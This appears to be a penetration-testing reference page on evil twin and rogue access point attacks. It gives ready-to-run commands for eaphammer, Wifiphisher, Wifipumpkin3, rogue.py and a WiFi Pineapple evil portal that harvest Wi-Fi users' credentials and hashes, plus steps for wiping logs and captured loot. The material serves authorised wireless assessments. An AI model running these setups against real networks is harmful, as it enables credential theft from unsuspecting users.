Evil Twin and Rogue Access Point Attacks

Rogue Access Point and Evil Twin Attacks

Rogue access points and evil twins impersonate a legitimate network to capture credentials, harvest hashes or gain a foothold, and are especially effective against open and guest networks. This section covers open-network attacks, MANA, Wifiphisher, Wifipumpkin3, Airgeddon and the WiFi Pineapple.

Open Network Attacks

Open and guest networks are frequently the easiest foothold. Consider the following approaches when assessing them.

MAC spoofing — investigate connected client MAC addresses and spoof one if the network restricts access by MAC.
Brute force — captive portals can sometimes be brute forced.
Client isolation — check whether clients are isolated before authenticating to the guest portal, and what else is reachable on the network.
Captive portal spoofing — clone the captive portal (or host your own) on a rogue AP to harvest credentials.
Hostile portal attack — instead of serving a captive portal, redirect users from HTTP to SMB to capture their hashes.
Tunnelling — many guest networks do not restrict or monitor DNS, so the captive portal can sometimes be bypassed by tunnelling traffic over DNS to a server you control.

MAC Spoofing

1
sudo macchanger -s wlan0

Rogue AP with MANA (Open Network)

1
sudo ./eaphammer --interface wlan0 \
2
 --essid "Free WiFi" \
3
 --channel 1 \
4
 --cloaking full \
5
 --mana \
6
 --wpa-version 2 \
7
 --mac-whitelist mac-whitelist.txt
8

9
# Hostile portal against an open network
10
sudo ./eaphammer --interface wlan0 --essid "Free WiFi" --channel 1 --auth open --hostile-portal

Wifiphisher

1
# Rogue AP performing evil twin and KARMA attacks
2
sudo wifiphisher -aI wlan0 -eI eth0
3
# -aI  AP interface
4
# -eI  extensions interface
5
# https://github.com/wifiphisher/wifiphisher

Wifipumpkin3

1
# https://github.com/P0cL4bs/wifipumpkin3
2
sudo apt install libssl-dev libffi-dev build-essential python3-pyqt5
3
git clone https://github.com/P0cL4bs/wifipumpkin3.git
4
cd wifipumpkin3
5
sudo python3 setup.py install
6
sudo pip install ping3
7

8
# Configure DNS for the rogue AP
9
sudo nano /etc/systemd/resolved.conf      # DNS=8.8.8.8   and   DNSStubListener=no
10
sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

Rogue AP (Pass-Through to the Internet)

1
sudo airmon-ng check kill
2
sudo ip link set wlan0 up
3

4
sudo wifipumpkin3
5
wp3 > set interface wlan0
6
wp3 > set ssid "Free WiFi"
7
wp3 > set proxy noproxy
8
wp3 > ignore pydns_server
9
wp3 > start

Rogue AP with a Captive Portal

1
sudo airmon-ng check kill
2
sudo ip link set wlan0 up
3

4
sudo wifipumpkin3
5
wp3 > set interface wlan0
6
wp3 > set ssid "Free WiFi"
7
wp3 > set proxy captiveflask
8
wp3 > start

Airgeddon

1
cd ~/tools/airgeddon
2
sudo bash airgeddon.sh

Rogue.py (Legacy)

rogue.py predates the Eaphammer / Wifipumpkin3 workflows above and is retained as an older alternative for standing up rogue APs.

1
# WPA-Personal rogue AP (requires the known password)
2
sudo python ~/tools/rogue/rogue.py -i wlan0 -c 1 --auth wpa-personal --bssid AA:BB:CC:DD:EE:FF --essid 'CorpWiFi' --wpa 2 --internet --print-creds --wpa-passphrase '<passphrase>' --hostile-portal --hostile-mode responder
3

4
# WPA-Enterprise rogue AP
5
sudo python ~/tools/rogue/rogue.py -i wlan0 -c 1 --auth wpa-enterprise --bssid AA:BB:CC:DD:EE:FF --essid Corp-EAP --wpa 2 --internet --print-creds

WiFi Pineapple

The Hak5 WiFi Pineapple is a dedicated hardware rogue-AP platform.

Setup and Connecting

1
# Connect the Pineapple to Kali
2
sudo ip link set eth1 down                    # or whichever ethX appears in ifconfig
3
sudo ip addr add 172.16.42.42/255.255.255.0 dev eth1
4
sudo ip link set eth1 up
5

6
# Open the UI in a browser
7
# http://172.16.42.1:1471/
8
# Default credentials: root:hak5pineapple
9

10
# Connect the Pineapple to the internet over Wi-Fi:
11
# 1. Settings -> Networking
12
# 2. Click 'scan' under Wireless Client Mode
13
# 3. Choose your Wi-Fi and connect with credentials

PineAP Suite (Open AP and Evil Portal)

1
# Open AP
2
# - Connect the Pineapple to the internet as above
3
# - Select the Open AP tab in PineAP Suite
4
# - Create an open SSID (e.g. "Free WiFi") and uncheck 'hidden'
5
# - Deselect 'Impersonate all networks' (this breaks the connection if using
6
#   Wireless Client Mode for internet access)
7
# - In the Filtering tab select the Deny list (not the Allow list, unless you
8
#   intend to allow specific clients)
9

10
# Evil Portal
11
# 1. With the Open AP set up as above
12
# 2. Go to Modules -> Evil Portal
13
# 3. Download and modify, or upload, an evil portal
14
# 4. Click Start, then Start Web Server, then Activate Portal
15
# 5. Connect to the SSID configured in Open AP to see the portal
16
# 6. Click 'view log' next to the portal to see captured credentials

The portal redirect can be edited in /pineapple/ui/modules/evilportal/assets/api/Portal.php, pointing the redirect() and onSuccess() handlers at the target organisation’s site (for example http://www.example.com).

Cleaning the Pineapple

1
cd /root
2
rm -rf elog enrollment.log log.db log.db-journal recon.db recon.db-journal
3
cd /root/handshakes && rm -rf *
4
cd /root/loot && rm -rf *
5

6
# Factory reset while keeping the current firmware version
7
firstboot -y && reboot

Rogue AP and Evil Twin